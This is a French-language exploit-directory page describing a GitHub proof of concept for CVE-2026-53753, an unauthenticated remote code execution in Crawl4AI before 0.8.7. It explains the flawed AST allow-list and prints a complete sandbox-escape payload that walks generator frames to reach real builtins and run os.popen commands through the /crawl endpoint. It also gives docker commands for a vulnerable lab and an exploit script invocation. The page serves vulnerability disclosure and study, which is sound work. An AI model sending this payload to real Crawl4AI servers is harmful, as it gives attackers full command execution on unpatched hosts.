Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 RCE non authentifié (évasion du sandbox AST via gi_frame.f_back). Lab + PoC, vérifié e2e. | Kitploit
Outils/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Analyse StatiqueAnalyse Dynamique (Sandboxing)Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
Développement de Charges Utiles
Labs et Pratique
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 RCE non authentifié (évasion du sandbox AST via gi_frame.f_back). Lab + PoC, vérifié e2e.

Voir le dépôt
18il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-53753 — Exécution de code à distance non authentifiée dans Crawl4AI (Échappement du bac à sable AST)

RCE pré-authentification dans Crawl4AI < 0.8.7. Un schéma JsonCssExtractionStrategy fabriqué envoyé au point de terminaison non authentifié POST /crawl atteint l'évaluateur de champs calculés (_safe_eval_expression), échappe à sa liste blanche AST via les objets cadre Python, atteint les builtins réels, et exécute __import__('os').popen(<cmd>).read() — renvoyant la sortie de la commande dans le canal dans la réponse JSON.

CVECVE-2026-53753
AvisGHSA-qxjp-w3pj-48m7
AffectéCrawl4AI <= 0.8.6
Corrigé0.8.7
ClasseCWE-94 (Injection de code) / Échappement du bac à sable Python
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthentificationAucune — la configuration livrée a jwt_enabled: false
StatutCONFIRMÉ — reproduit de bout en bout contre l'image officielle unclecode/crawl4ai:0.8.6

Table des matières

  1. Cause racine
  2. Anatomie de la charge utile, ligne par ligne
  3. Pourquoi la remontée de trames atteint les builtins réels
  4. Configuration du laboratoire
  5. Exécution de l'exploit
  6. Sortie attendue
  7. Requête HTTP brute
  8. Dépannage
  9. Impact / Remédiation / Détection
  10. Validation

Plongée : voir ANALYSIS.md pour une analyse nœud par nœud de l'AST, la pile de trames d'exécution, le flux de données de la requête et le diff du correctif.


1. Cause racine

crawl4ai/extraction_strategy.py permet à un schéma d'extraction de définir des champs calculés — de petites expressions Python évaluées par élément extrait. Elles sont exécutées par _safe_eval_expression(), qui tente de mettre l'expression en bac à sable avec une liste blanche AST et un __builtins__ réduit :

# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

Le validateur est refus-par-préfixe : il ne rejette que les noms qui commencent par _ (plus import). Cette unique heuristique constitue tout le bac à sable — et elle comporte trois failles qui se combinent en une évasion complète :

#FaillePourquoi c'est important
1gi_frame, f_back, f_builtins ne commencent pas par _Toute la surface d'introspection des trames/générateurs Python est accessible.
2obj['__import__'] est un ast.Subscript, pas un ast.AttributeLe validateur n'inspecte jamais les clés de dictionnaire dans les indices, donc la clé dunder __import__ passe.
3La chaîne f_back d'un générateur en cours d'exécution mène à une trame externe dont f_builtins est le véritable builtinsContourne le _SAFE_EVAL_BUILTINS réduit pour revenir au builtins complet (__import__, etc.).

Le schéma atteint cette fonction sans authentification : l'API Docker fournit security.jwt_enabled: false, donc la dépendance de jeton pour /crawl est lambda: None.

2. Anatomie de la charge utile, ligne par ligne

L'expression du champ calculé est :

(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Lecture morceau par morceau :

FragmentRôlePourquoi le validateur l'autorise
(lambda: ... )()Crée une portée de fonction pour que le nom lié par walrus vive dans une cellule de fermeture.ast.Lambda n'est pas vérifié.
g := ( <expr> for i in [1])Lie le générateur à g et le corps du générateur référence g (lui-même).:= et les expressions de générateur ne sont pas vérifiés. (Walrus est illégal dans un itérable de compréhension, donc il est placé dans un élément de tuple à la place.)
list(g)Fait tourner le générateur — donc sa trame est vivante quand le corps s'exécute.list est dans les builtins sécurisés.
g.gi_frameL'objet trame du générateur.gi_frame ne commence pas par _.
.f_back.f_back.f_backRemonte trois trames jusqu'à une avec les builtins réels.f_back ne commence pas par _.
.f_builtinsLa mapping des builtins de cette trame (le vrai).f_builtins ne commence pas par _.
['__import__']Récupère __import__ depuis le dictionnaire des builtins.Indice de dictionnaire — jamais inspecté.
('os')__import__('os') → le module os.La cible de l'appel est un Subscript, pas un Name/Attribute.
.popen('id').read()Exécute la commande et retourne sa sortie standard.popen/read ne commencent pas par _.

Comme la valeur du générateur est os.popen(cmd).read(), la sortie standard de la commande devient la valeur du champ et est renvoyée dans la réponse /crawl — un oracle dans le canal, pas besoin d'OAST.

3. Pourquoi la remontée de trames atteint les builtins réels

Pendant que list(g) itère le générateur, la pile d'appels ressemble à ceci :

frame: _safe_eval_expression()      <-- builtins réels  (__import__ vit ici)   ← f_back ×3
   └ frame: <expression> (eval)     <-- builtins en bac à sable (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- bac à sable                                 ← f_back ×1
             └ frame: <genexpr> g   <-- EN COURS ; g.gi_frame est cette trame         ← gi_frame

g.gi_frame.f_back n'est renseigné que pendant que le générateur tourne (c'est pourquoi le générateur doit se référencer lui-même et être piloté par list(g) — un générateur non encore démarré a f_back is None). Remonter f_back trois fois atterrit sur la trame _safe_eval_expression, dont f_builtins est le module builtins complet — à partir duquel __import__ est extrait par indice.

La profondeur de trame est stable pour ce chemin de code : f_back × 3 est correct pour _safe_eval_expression de Crawl4AI 0.8.6.

4. Configuration du laboratoire

L'image officielle fournit la configuration vulnérable par défaut (sans authentification) :

# Option A — docker compose (hôte Docker normal avec réseau bridge)
docker compose -f lab/docker-compose.yml up -d

# Option B — docker run simple
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Attendez environ 20 s que le pool de navigateurs chauffe (docker logs crawl4ai-vuln → Application startup complete).

5. Exécution de l'exploit

# Inspectez le corps de la requête sans l'envoyer :
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
Télécharger l’outil